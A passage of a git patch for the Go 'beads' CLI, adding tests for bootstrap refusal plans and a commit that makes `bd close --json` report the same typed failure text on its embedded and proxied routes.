key on") + } + raw, err := json.Marshal(plan) + if err != nil { + t.Fatalf("json.Marshal(plan): %v", err) + } + var decoded map[string]any + if err := json.Unmarshal(raw, &decoded); err != nil { + t.Fatalf("unmarshal plan JSON %s: %v", raw, err) + } + if decoded["action"] != "refuse" { + t.Errorf("json action = %v, want refuse", decoded["action"]) + } + // "blocked" is omitempty, so a false flag does not render as false — the + // key vanishes entirely and the consumer cannot tell this run from a + // successful one. + if decoded["blocked"] != true { + t.Errorf("json blocked = %v, want true; full plan JSON: %s", decoded["blocked"], raw) + } + if strings.Contains(string(raw), "\x1b[") { + t.Errorf("plan JSON carries ANSI escapes, which --json consumers must never receive: %s", raw) + } +} + +// TestDetectBootstrapAction_RefusePlanDropsUnverifiedSyncRemote pins that a +// refusal honours SyncRemote's documented "empty on a Blocked plan" contract. +// A forge sync.remote with no Dolt data yet is recorded on the plan for the +// workspace bootstrap expected to create (planConfiguredSyncRemote keeps it +// and returns done=false), and the refusal is downstream of that — so without +// explicit clearing the credential-bearing URL rides out in --json for a run +// that wired up nothing, cloned nothing and pushed nothing. +func TestDetectBootstrapAction_RefusePlanDropsUnverifiedSyncRemote(t *testing.T) { + beadsDir := newForgeSyncRemoteWorkspace(t, "https://github.com/org/repo.git") + // Forge repo reachable, but no refs/dolt/data yet: sync.remote is recorded + // and bootstrap keeps looking rather than cloning. + stubProbeGitRemoteDoltData(t, func(string) (bool, error) { return false, nil }) + + cfg := configfile.DefaultConfig() + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltDatabase = "mydb" + // Never created: a fresh clone has no local shadow directory. + cfg.DoltDataDir = filepath.Join(filepath.Dir(beadsDir), "dolt-data") + cfg.ProjectID = "proj-already-initialized-456" + t.Setenv("BEADS_DOLT_DATA_DIR", cfg.DoltDataDir) + + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + return bootstrapServerDBCheck{Reachable: true, Exists: false} + } + defer func() { checkBootstrapServerDB = orig }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + + if plan.Action != "refuse" { + t.Fatalf("action = %q (reason %q), want refuse", plan.Action, plan.Reason) + } + if !plan.Blocked { + t.Fatal("Blocked = false on a refuse plan") + } + if plan.SyncRemote != "" { + t.Errorf("SyncRemote = %q on a Blocked plan, want empty — the refusal creates no workspace, so nothing may be cloned from or pushed to that remote", plan.SyncRemote) + } + raw, err := json.Marshal(plan) + if err != nil { + t.Fatalf("json.Marshal(plan): %v", err) + } + var decoded map[string]any + if err := json.Unmarshal(raw, &decoded); err != nil { + t.Fatalf("unmarshal plan JSON %s: %v", raw, err) + } + if got, ok := decoded["sync_remote"]; ok { + t.Errorf("plan JSON carries sync_remote = %v on a Blocked plan; full JSON: %s", got, raw) + } +} + +// TestPrintBootstrapPlan_RefusePrintsSummaryNotDetail covers the refuse arm of +// printBootstrapPlan, which no test reached. The full explanation is the error +// executeBootstrapPlan returns, so printing refusalDetail here too would render +// it twice — a regression a future edit could reintroduce silently. +func TestPrintBootstrapPlan_RefusePrintsSummaryNotDetail(t *testing.T) { + plan := BootstrapPlan{ + Action: "refuse", + Database: "mydb", + Reason: `Database "mydb" not found on server at 127.0.0.1:3307; workspace already initialized (project_id set) — refusing to create an empty database`, + // A marker no production string can produce, so a match is proof the + // detail field itself was printed rather than wording that overlaps. + refusalDetail: "REFUSAL-DETAIL-MARKER: bd bootstrap will NOT create an empty database here", + Blocked: true, + } + + out := captureStdout(t, func() error { + printBootstrapPlan(plan) + return nil + }) + + if !strings.Contains(out, "refuse — will NOT create a database") { + t.Errorf("output does not announce the refusal:\n%s", out) + } + if !strings.Contains(out, plan.Reason) { + t.Errorf("output omits the one-line reason:\n%s", out) + } + if strings.Contains(out, "REFUSAL-DETAIL-MARKER") { + t.Errorf("printBootstrapPlan printed refusalDetail; executeBootstrapPlan already returns it, so the operator would read the whole explanation twice:\n%s", out) + } +} + +// TestExecuteBootstrapPlan_RefuseErrsWithoutPrompting pins that a refuse plan +// never reaches confirmPrompt or the workspace gates: it is a decision, not an +// action awaiting approval. Before this, the refusal was discovered inside +// executeInitAction — i.e. after the operator had already answered "Proceed?" +// to a plan that said the opposite. +func TestExecuteBootstrapPlan_RefuseErrsWithoutPrompting(t *testing.T) { + snapshotBootstrapEnv(t) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + cfg := configfile.DefaultConfig() + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltDatabase = "mydb" + cfg.ProjectID = "proj-existing-123" + + probes := 0 + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + probes++ + return bootstrapServerDBCheck{Reachable: true, Exists: false} + } + defer func() { checkBootstrapServerDB = orig }() + + plan := BootstrapPlan{ + BeadsDir: beadsDir, + Database: "mydb", + Action: "refuse", + Reason: "short summary", + refusalDetail: "long refusal: bd bootstrap will NOT create an empty database here", + } + // nonInteractive=false so a confirmPrompt would be reached if one ran. + err := executeBootstrapPlan(plan, cfg, false) + if err == nil { + t.Fatal("executeBootstrapPlan returned nil for a refuse plan — bootstrap would exit 0 having done nothing, hiding the refusal") + } + if !strings.Contains(err.Error(), "will NOT create") { + t.Errorf("error = %q, want the refusalDetail text", err.Error()) + } + if probes != 0 { + t.Errorf("probes = %d, want 0 — the decision was already made at plan time", probes) + } +} + +// TestDetectBootstrapAction_FreshCloneServerNameMatchStillSyncs pins the +// POSITIVE half of the widened probe. Unlocking the server-side existence +// check for ProjectID-bearing workspaces also unlocked its Exists==true arm, +// and a reachable server merely holding a database of the configured NAME is +// not proof that this workspace is bound to it — nothing checks project_id or +// content. Before the widening such a clone never probed at all and always +// fell through to sync.remote, so a stale or unrelated same-named database +// (including one left behind by the very bug this guard fixes) must not +// silently settle the plan as "nothing to do" and suppress the configured +// recovery clone. The name match survives only as the fallback verdict, which +// TestDetectBootstrapAction_NoLocalShadowDirStillLiveChecksExisting pins. +func TestDetectBootstrapAction_FreshCloneServerNameMatchStillSyncs(t *testing.T) { + beadsDir, cfg := freshServerModeCloneFixture(t) + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + return bootstrapServerDBCheck{Reachable: true, Exists: true} + } + defer func() { checkBootstrapServerDB = orig }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + if plan.Action != "sync" { + t.Errorf("action = %q (reason %q), want sync — a server-side name match with no local evidence binding this workspace to that database must not mask configured sync.remote recovery", plan.Action, plan.Reason) + } +} + +// TestDetectBootstrapAction_ShadowDirServerNameMatchSettlesNone pins the other +// half of the same gate: a populated local shadow directory IS evidence this +// workspace is bound to the database the server confirmed, so the Exists +// verdict must settle the plan immediately instead of being deferred behind +// sync.remote. Deferring it would re-clone over a database that already exists +// — GH#5037's Error 1007, which the comment above the settle gate exists to +// prevent — and the fixture configures a sync.remote precisely so the +// assertion discriminates: without the local-evidence half of +// settledOnNameAlone, sync.remote wins and the action becomes "sync". The +// Err-arm twin is TestDetectBootstrapAction_ShadowDirUnreachableServerStillReportsNone; +// this is the Exists-arm one, which nothing covered. +func TestDetectBootstrapAction_ShadowDirServerNameMatchSettlesNone(t *testing.T) { + beadsDir, cfg := freshServerModeCloneFixture(t) + if err := os.MkdirAll(filepath.Join(cfg.DoltDataDir, "mydb"), 0o750); err != nil { + t.Fatal(err) + } + orig := checkBootstrapServerDB + checkBootstrapServerDB = func(bootstrapServerProbeConfig) bootstrapServerDBCheck { + return bootstrapServerDBCheck{Reachable: true, Exists: true} + } + defer func() { checkBootstrapServerDB = orig }() + origDelay := bootstrapRetryDelay + bootstrapRetryDelay = func(time.Duration) {} + defer func() { bootstrapRetryDelay = origDelay }() + + plan := detectBootstrapAction(beadsDir, cfg) + if plan.Action != "none" { + t.Errorf("action = %q (reason %q), want none — with local evidence binding this workspace to the database the server reports, re-cloning it is GH#5037's Error 1007", plan.Action, plan.Reason) + } + if !plan.HasExisting { + t.Error("HasExisting = false on a confirmed server-side database with local evidence") + } + // Discriminates the Exists arm from the Err arm's "Could not verify" + // settle, which the same populated shadow directory also unlocks. + if !strings.Contains(plan.Reason, "already exists on server") { + t.Errorf("reason = %q, want the Exists-arm wording — a 'Could not verify' reason here means the probe result, not the local evidence, is what settled the plan", plan.Reason) + } +} From 01bd1f1e54dbf2ba1f51a3fc86c6ee05ce4cfe41 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 01:51:19 -0700 Subject: [PATCH 142/624] fix(close): make --json failed[].error route-independent (post-merge #6740) (#6771) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Post-merge review of #6740 (landed range c25059ada..730fb9867) found one major: the machine-readable `failed[].error` field that PR added carried a DIFFERENT string for the identical refusal depending on whether the caller was on the embedded or the proxied-server route — the exact class of route drift the close rewire exists to remove, shipped in the same commit that states the principle in a comment. No test pinned the text, so CI was blind to it. Two causes, both on the proxied route: 1. The harvest loop copied `pre.errors[i]` — closeProxiedRefusal's DECORATED display line — straight into the JSON field, so a blocked id gained " (use --force to override)" that the direct route deliberately keeps out of the same field. Fixed by carrying the typed error in a parallel per-argument slot (`failureErrors`), mirroring the direct route's split, and reading that slot in the new closeProxiedFailures. 2. Stripping the decoration was not sufficient: a refusal reaching this route has also been wrapped by the layers it passed through, so the undecorated typed error still read close x-1: db: IssueSQLRepository.CloseChecked x-1: cannot close blocked … against the direct route's cannot close blocked issue: x-1 is blocked by [x-2] closeProxiedTypedRefusal unwraps to the sentence the engine actually wrote for the refusal classes the CLI already names by sentinel. Anything else keeps its whole chain, where the wrapping is the only thing that says where an unexpected failure came from. Tests: the split and the unwrap are pinned in an untagged file so they run in the CGO_ENABLED=0 lane too, and the shared assertion is applied by BOTH integration suites — a new direct-route twin of close_partial_failure_json_names_the_failed_ids, which also gives the default route its first pin on reportCloseFailures' jsonOut branch. Every pin was mutation-proved: reading the display line reds the three decorated classes while the undecorated open-children control stays green; converging by stripping the hint from stderr instead reds the human-line half; recording the decorated line on the direct route reds the twin. Scope: this is the only entry under the review's Required Changes. The five non-gating minors (single-id --json report, closeCmd.Long paragraph, text-mode per-id reprint, the `claimed` JSON type, the CHANGELOG not-found parenthetical) are deliberately left for separate follow-ups. Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 5 +- cmd/bd/close_embedded_test.go | 70 ++++++ cmd/bd/close_failure_report_test.go | 281 +++++++++++++++++++++++ cmd/bd/close_proxied_integration_test.go | 9 + cmd/bd/close_proxied_server.go | 115 +++++++++- 5 files changed, 468 insertions(+), 12 deletions(-) create mode 100644 cmd/bd/close_failure_report_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index d2440cc74..81fc50a2a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -38,7 +38,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 close runs, while the proxied route refuses that argument and closes the rest.) In `--json` mode the summary is instead a compact JSON line on stderr naming the failed ids, matching `bd update`'s partial-failure report, while - stdout keeps the usual closed-issues array. `--claim-next` still claims when + stdout keeps the usual closed-issues array. Each `failed[]` entry carries the + refusal as the engine worded it, identically on both routes; the `--force` + hint and the route's own framing stay on the human-readable stderr line, which + is unchanged. `--claim-next` still claims when part of the batch closed — the claim commits inside the batch's own transaction and a sibling's refusal does not roll it back — so the summary names the claimed id rather than leaving it silently assigned. diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index f5fc349dd..0a0d945c2 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -134,6 +134,76 @@ func TestEmbeddedClose(t *testing.T) { } }) + // The direct-route twin of TestProxiedClose/ + // close_partial_failure_json_names_the_failed_ids. Two things were asserted + // on the proxied route only: that exit 1 comes with a payload naming the + // failed ids while stdout keeps the success-shaped closed-issues array, and + // that failed[].error is the TYPED error rather than the decorated line + // stderr shows a person. This is the default route — what most scripts and + // the parity harness exercise — so a regression in reportCloseFailures' + // jsonOut branch was previously invisible to CI on the route most callers + // are on, and the two routes could drift on the field's contents with + // nothing failing. + t.Run("close_partial_failure_json_names_the_failed_ids", func(t *testing.T) { + jdir, _, _ := bdInit(t, bd, "--prefix", "jf") + closable := bdCreate(t, bd, jdir, "JSON closable", "--type", "task") + blocker := bdCreate(t, bd, jdir, "JSON blocker", "--type", "task") + blocked := bdCreate(t, bd, jdir, "JSON blocked", "--type", "task") + bdDepAdd(t, bd, jdir, blocked.ID, blocker.ID) + + cmd := exec.Command(bd, "close", "--json", closable.ID, blocked.ID) + cmd.Dir = jdir + cmd.Env = bdEnv(jdir) + stdoutBuf, stderrBuf, err := runCommandBuffers(t, cmd) + stdout, stderr := stdoutBuf.String(), stderrBuf.String() + if err == nil { + t.Fatalf("expected a partial batch close to exit nonzero\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // stdout keeps the success shape: just the survivor. + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("expected the closed-issues array on stdout, got:\n%s", stdout) + } + var closed []*types.Issue + if jsonErr := json.Unmarshal([]byte(stdout[start:]), &closed); jsonErr != nil { + t.Fatalf("parse closed array: %v\nraw: %s", jsonErr, stdout[start:]) + } + if len(closed) != 1 || closed[0].ID != closable.ID { + t.Fatalf("stdout closed array = %d issue(s), want only the survivor %s\nraw: %s", len(closed), closable.ID, stdout[start:]) + } + + // stderr's last line is the failure report. + line := lastJSONObjectLine(stderr) + if line == "" { + t.Fatalf("expected a compact JSON failure line on stderr, got:\n%s", stderr) + } + var report struct { + Error string `json:"error"` + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + if jsonErr := json.Unmarshal([]byte(line), &report); jsonErr != nil { + t.Fatalf("parse failure report: %v\nraw: %s", jsonErr, line) + } + if report.Error != "1 of 2 issues failed to close" { + t.Errorf("failure report error = %q, want the N of M summary", report.Error) + } + if len(report.Failed) != 1 || report.Failed[0].ID != blocked.ID { + t.Fatalf("failure report named %+v, want exactly the refused id %s", report.Failed, blocked.ID) + } + assertCloseFailedErrorIsTyped(t, report.Failed[0].Error, stderr) + + if got := bdShow(t, bd, jdir, closable.ID); got.Status != types.StatusClosed { + t.Errorf("closable issue status = %s, want closed despite the refused sibling", got.Status) + } + if got := bdShow(t, bd, jdir, blocked.ID); got.Status != types.StatusOpen { + t.Errorf("blocked issue status = %s, want open", got.Status) + } + }) + // The --claim-next × partial-failure interaction, adjudicated rather than // left implicit (#6648). --claim-next rides inside the batch transaction // and fires whenever something LANDED, so a mixed batch claims and then diff --git a/cmd/bd/close_failure_report_test.go b/cmd/bd/close_failure_report_test.go new file mode 100644 index 000000000..cb05c024e --- /dev/null +++ b/cmd/bd/close_failure_report_test.go @@ -0,0 +1,281 @@ +package main + +import ( + "fmt" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// assertCloseFailedErrorIsTyped checks one failed[].error entry against the +// route-parity contract both close routes owe a --json consumer: the field +// carries the typed error, while the line a person reads keeps the --force hint. +// +// The two integration suites share it, which is the point — a contract that is +// supposed to be identical per route should be asserted by identical code. It is +// written against the RELATIONSHIP between the two spellings rather than a +// transcribed sentence so neither suite has to hardcode how the engine renders a +// blocker list: closeDirectRefusal and closeProxiedRefusal both produce exactly +// the typed error plus the hint, so the typed error must appear on stderr with +// the hint appended and must not contain the hint itself. +// +// Lives in an untagged file so it is compiled in the CGO_ENABLED=0 lane too, +// alongside the pins below; its callers are the cgo-gated suites. +func assertCloseFailedErrorIsTyped(t *testing.T, failedError, stderr string) { + t.Helper() + const hint = " (use --force to override)" + if !strings.HasPrefix(failedError, "cannot close blocked issue:") { + t.Errorf("failed[].error = %q, want the engine's typed ErrCloseBlocked vocabulary: both routes must spell one refusal one way", + failedError) + } + if strings.Contains(failedError, hint) { + t.Errorf("failed[].error = %q carries the --force hint; that decoration is advice for a human reader and belongs on the stderr line only", + failedError) + } + if want := failedError + hint; !strings.Contains(stderr, want) { + t.Errorf("stderr is missing the decorated refusal %q; the hint must still reach the person reading it\nstderr:\n%s", + want, stderr) + } +} + +// The route-parity contract for the machine-readable half of the partial-failure +// report: `failed[].error` carries the TYPED error on both routes, and the +// decorated display line stays on stderr where a human reads it. +// +// The direct route already splits the two (close.go records res.Err.Error() in +// closeIDFailure while printing closeDirectRefusal's decorated line). The proxied +// route used to copy pre.errors — the display line — into the JSON field, so the +// same blocked-id refusal answered "cannot close blocked issue: X is blocked by +// [Y]" embedded and "... (use --force to override)" proxied. These live here +// rather than in the proxied integration suite because nothing in the split needs +// a server: the refusal slots are filled by closeProxiedOutcomes and read by +// closeProxiedFailures, both pure. +func TestCloseProxiedFailuresRecordTheTypedErrorNotTheDisplayLine(t *testing.T) { + blockedErr := fmt.Errorf("%w: pb-2 is blocked by [pb-1]", storage.ErrCloseBlocked) + + // arg 0 closes, arg 1 is refused by the engine. + args := []string{"pb-3", "pb-2"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{ + {IssueID: "pb-3", Reason: "done"}, + {IssueID: "pb-2", Reason: "done"}, + }, + itemArgs: []int{0, 1}, + before: map[string]*types.Issue{"pb-3": {ID: "pb-3"}}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + outcomes, _ := closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{ + {IssueID: "pb-3", Issue: &types.Issue{ID: "pb-3"}, Changed: true}, + {IssueID: "pb-2", Err: blockedErr}, + }, + }) + if len(outcomes) != 1 || outcomes[0].id != "pb-3" { + t.Fatalf("outcomes = %+v, want only the survivor pb-3", outcomes) + } + + failures := closeProxiedFailures(&pre, args) + if len(failures) != 1 || failures[0].ID != "pb-2" { + t.Fatalf("failures = %+v, want exactly the refused id pb-2", failures) + } + + // The machine field is the typed error, byte for byte. + if failures[0].Error != blockedErr.Error() { + t.Errorf("failed[].error = %q, want the typed error %q: a --json consumer keying off this field must see the same string on both routes", + failures[0].Error, blockedErr.Error()) + } + if strings.Contains(failures[0].Error, "use --force to override") { + t.Errorf("failed[].error = %q, must not carry the --force hint: that is advice for a human reader, and the direct route records res.Err.Error() here", + failures[0].Error) + } + + // ...and the human line keeps the decoration. Without this half the fix + // could have passed by stripping the hint from stderr too, which is a + // different regression. + if want := closeProxiedRefusal("pb-2", blockedErr); pre.errors[1] != want { + t.Errorf("stderr line = %q, want the decorated refusal %q", pre.errors[1], want) + } + if !strings.Contains(pre.errors[1], "use --force to override") { + t.Errorf("stderr line = %q, want it to keep the --force hint for the person reading it", pre.errors[1]) + } +} + +// Every engine refusal class closeProxiedRefusal decorates, checked against the +// typed error it decorates. ErrCloseOpenChildren is in the table on purpose: it +// passes through undecorated, so it is the row that would still pass if the fix +// had been written as "special-case the blocked hint" instead of "record the +// typed error". +func TestCloseProxiedFailuresTypedErrorPerRefusalClass(t *testing.T) { + tests := []struct { + name string + err error + }{ + { + name: "blocked gains the force hint on stderr", + err: fmt.Errorf("%w: rc-1 is blocked by [rc-9]", storage.ErrCloseBlocked), + }, + { + name: "not found is rewritten on stderr", + err: fmt.Errorf("%w: rc-1", storage.ErrNotFound), + }, + { + name: "default class is wrapped on stderr", + err: fmt.Errorf("dolt: connection reset"), + }, + { + name: "open children passes through undecorated", + err: &storage.CloseOpenChildrenError{IssueID: "rc-1", OpenChildren: 2}, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + args := []string{"rc-1"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{{IssueID: "rc-1", Reason: "done"}}, + itemArgs: []int{0}, + before: map[string]*types.Issue{}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{{IssueID: "rc-1", Err: tc.err}}, + }) + + failures := closeProxiedFailures(&pre, args) + if len(failures) != 1 { + t.Fatalf("failures = %+v, want one", failures) + } + if failures[0].Error != tc.err.Error() { + t.Errorf("failed[].error = %q, want the typed error %q", failures[0].Error, tc.err.Error()) + } + if pre.errors[0] != closeProxiedRefusal("rc-1", tc.err) { + t.Errorf("stderr line = %q, want closeProxiedRefusal's spelling %q", pre.errors[0], closeProxiedRefusal("rc-1", tc.err)) + } + }) + } +} + +// The second half of the route-parity contract, and the one the decoration fix +// alone does not deliver: a refusal that reached the proxied route arrives +// wrapped by the layers it travelled through, so even the undecorated typed +// error read differently per route until closeProxiedTypedRefusal unwrapped it. +// +// The wrapper strings here are transcribed from the two production sites named +// in that function's comment, and the "want" column is the byte-identical +// string the direct route records for the same refusal. +func TestCloseProxiedTypedRefusalUnwrapsTheRoleWrappers(t *testing.T) { + blocked := fmt.Errorf("%w: wr-1 is blocked by [wr-2]", storage.ErrCloseBlocked) + openChildren := &storage.CloseOpenChildrenError{IssueID: "wr-1", OpenChildren: 3} + unexpected := fmt.Errorf("dolt: connection reset") + + // What the role actually hands back: db/issue.go wraps, then issue.go wraps. + roleWrapped := func(inner error) error { + return fmt.Errorf("close wr-1: %w", fmt.Errorf("db: IssueSQLRepository.CloseChecked wr-1: %w", inner)) + } + + tests := []struct { + name string + err error + want string + }{ + { + name: "blocked, unwrapped", + err: blocked, + want: blocked.Error(), + }, + { + name: "blocked, wrapped by the role", + err: roleWrapped(blocked), + want: blocked.Error(), + }, + { + name: "open children, wrapped by the role", + err: roleWrapped(openChildren), + want: openChildren.Error(), + }, + { + // No sentinel to converge on, and the chain is the only thing that + // says where the failure came from, so it is kept whole. + name: "unexpected error keeps its whole chain", + err: roleWrapped(unexpected), + want: "close wr-1: db: IssueSQLRepository.CloseChecked wr-1: dolt: connection reset", + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + if got := closeProxiedTypedRefusal(tc.err); got != tc.want { + t.Errorf("closeProxiedTypedRefusal = %q, want %q", got, tc.want) + } + }) + } + + // The walk must stop AT the refusal, not at the bare sentinel underneath + // it: unwrapping one link too far would drop the subject and leave every + // blocked id reporting the same reasonless sentence. + if got := closeProxiedTypedRefusal(roleWrapped(blocked)); got == storage.ErrCloseBlocked.Error() { + t.Errorf("closeProxiedTypedRefusal = %q, which is the bare sentinel: the id and its blockers were unwrapped away", got) + } +} + +// A refusal decided by the CLI's own close policy has no separate display form, +// so both fields hold the one sentence closeProxiedCheckOne returned — and the +// failures still come back in the order the caller typed the ids, across a mix +// of policy and engine refusals. errors is what decides WHICH arguments failed, +// so a policy slot with an empty failureErrors twin would be a silent +// reason-less entry; this pins that it is not. +func TestCloseProxiedFailuresKeepPolicyRefusalsAndTypedOrder(t *testing.T) { + policyRefusal := "cannot close mx-1: gate not satisfied" + engineErr := fmt.Errorf("%w: mx-3 is blocked by [mx-9]", storage.ErrCloseBlocked) + + // arg 0 refused by policy, arg 1 closes, arg 2 refused by the engine. + args := []string{"mx-1", "mx-2", "mx-3"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{ + {IssueID: "mx-2", Reason: "done"}, + {IssueID: "mx-3", Reason: "done"}, + }, + itemArgs: []int{1, 2}, + before: map[string]*types.Issue{"mx-2": {ID: "mx-2"}}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + // closeProxiedRunPreflight fills both slots for a policy refusal. + pre.errors[0] = policyRefusal + pre.failureErrors[0] = policyRefusal + + closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{ + {IssueID: "mx-2", Issue: &types.Issue{ID: "mx-2"}, Changed: true}, + {IssueID: "mx-3", Err: engineErr}, + }, + }) + + failures := closeProxiedFailures(&pre, args) + want := []closeIDFailure{ + {ID: "mx-1", Error: policyRefusal}, + {ID: "mx-3", Error: engineErr.Error()}, + } + if len(failures) != len(want) { + t.Fatalf("failures = %+v, want %+v", failures, want) + } + for i := range want { + if failures[i] != want[i] { + t.Errorf("failures[%d] = %+v, want %+v", i, failures[i], want[i]) + } + } + + // An entry never goes out reason-less. No production writer can reach this + // state — both fill the twin — but the degradation is defined rather than + // accidental, because an empty reason is the one answer a caller asking why + // an id failed cannot use. + pre.failureErrors[0] = "" + if got := closeProxiedFailures(&pre, args); got[0].Error != policyRefusal { + t.Errorf("failures[0].Error = %q, want the display line %q as the fallback", got[0].Error, policyRefusal) + } +} diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 74038e62b..53df108c9 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -449,6 +449,15 @@ func TestProxiedServerClose(t *testing.T) { if report.Failed[0].Error == "" { t.Errorf("failure report for %s carried no reason", blocked.ID) } + + // failed[].error is the TYPED error, the same on this route as on the + // direct one — see the twin assertions in TestEmbeddedClose/ + // close_partial_failure_json_names_the_failed_ids. The --force hint is + // advice for a human reader, so it belongs on the stderr line above and + // not in the field a --json consumer keys off; recording the decorated + // display line here gave the identical refusal two spellings depending + // on which route the caller was on. + assertCloseFailedErrorIsTyped(t, report.Failed[0].Error, stderr) }) t.Run("close_pinned_refuses_without_force", func(t *testing.T) { diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 5ead731e8..cfff01077 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -39,11 +39,22 @@ type closeProxiedInput struct { // errors is indexed by ARGUMENT position, not by item, so a refusal reported // here and one reported by the batch still print in the order the caller typed // the ids. +// +// failureErrors is the same list at the same indices, but carries what a --json +// consumer reads instead of what a person reads: the TYPED error for an engine +// refusal, where errors holds closeProxiedRefusal's decorated display line. The +// direct route makes exactly this split (close.go records res.Err.Error() in +// closeIDFailure while printing closeDirectRefusal), and keeping the decorated +// line in the machine-readable field made the same refusal answer differently +// per route — which is the drift this whole close rewire exists to remove. A +// policy refusal decided here has no separate display form, so both slots hold +// the one sentence closeProxiedCheckOne returned. type closeProxiedPreflight struct { - items []issueops.BatchCloseItem - itemArgs []int - before map[string]*types.Issue - errors []string + items []issueops.BatchCloseItem + itemArgs []int + before map[string]*types.Issue + errors []string + failureErrors []string } type closeProxiedOutcome struct { @@ -122,15 +133,12 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin outcomes, closeReasons := closeProxiedOutcomes(&pre, result) post := closeProxiedRunPostClose(ctx, args, in, outcomes) - // pre.errors is indexed by argument position, so args[i] is the id this - // refusal belongs to. - var failures []closeIDFailure - for i, e := range pre.errors { + for _, e := range pre.errors { if e != "" { fmt.Fprintln(os.Stderr, e) - failures = append(failures, closeIDFailure{ID: args[i], Error: e}) } } + failures := closeProxiedFailures(&pre, args) for _, w := range post.warnings { fmt.Fprintf(os.Stderr, "Warning: %s\n", w) } @@ -230,14 +238,19 @@ func proxiedBatchCloser() (issueops.BatchCloser, error) { // close policy to it, in one read-only unit of work. func closeProxiedRunPreflight(ctx context.Context, args, reasons []string, in closeProxiedInput) (closeProxiedPreflight, error) { pre := closeProxiedPreflight{ - errors: make([]string, len(args)), - before: make(map[string]*types.Issue, len(args)), + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + before: make(map[string]*types.Issue, len(args)), } _, err := uow.RunTxRead(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (struct{}, error) { for i, id := range args { refusal, current := closeProxiedCheckOne(ctx, uw, id, in) if refusal != "" { pre.errors[i] = refusal + // A policy refusal is already the bare sentence, so the human + // and machine fields agree; only the engine refusals below have + // a decorated display form to strip. + pre.failureErrors[i] = refusal continue } pre.before[id] = current @@ -299,6 +312,10 @@ func closeProxiedOutcomes(pre *closeProxiedPreflight, result issueops.CloseBatch item := pre.items[j] if outcome.Err != nil { pre.errors[pre.itemArgs[j]] = closeProxiedRefusal(item.IssueID, outcome.Err) + // The typed error, not the decorated display line: the --force hint + // closeProxiedRefusal appends is advice for a human reader, and the + // id already has its own field. Same split as the direct route. + pre.failureErrors[pre.itemArgs[j]] = closeProxiedTypedRefusal(outcome.Err) continue } before := pre.before[item.IssueID] @@ -326,6 +343,82 @@ func closeProxiedOutcomes(pre *closeProxiedPreflight, result issueops.CloseBatch return outcomes, reasons } +// closeProxiedFailures pairs every refused argument with the id it belongs to, +// for the machine-readable half of the partial-failure report. +// +// Both slices are indexed by ARGUMENT position, so args[i] is the id that earned +// pre.errors[i], and the failures come back in the order the caller typed the +// ids. errors decides WHICH arguments failed — it is the slot the stderr print +// consults too, so the two halves of the report can never disagree about that — +// while failureErrors supplies the reason, because that is the field where the +// typed error belongs. +// +// Every writer of an errors slot fills its failureErrors twin, so the fallback +// below is unreachable today. It is here because the cost of getting that wrong +// is asymmetric: a caller that asked why an id failed is better served by the +// decorated line than by an empty string, so a future writer that forgets the +// twin degrades the wording instead of dropping the reason. +func closeProxiedFailures(pre *closeProxiedPreflight, args []string) []closeIDFailure { + var failures []closeIDFailure + for i, e := range pre.errors { + if e == "" { + continue + } + reason := pre.failureErrors[i] + if reason == "" { + reason = e + } + failures = append(failures, closeIDFailure{ID: args[i], Error: reason}) + } + return failures +} + +// closeProxiedTypedRefusal is the reason a --json consumer reads for one +// refused id: the typed error, spelled the way the direct route spells it. +// +// Stripping closeProxiedRefusal's 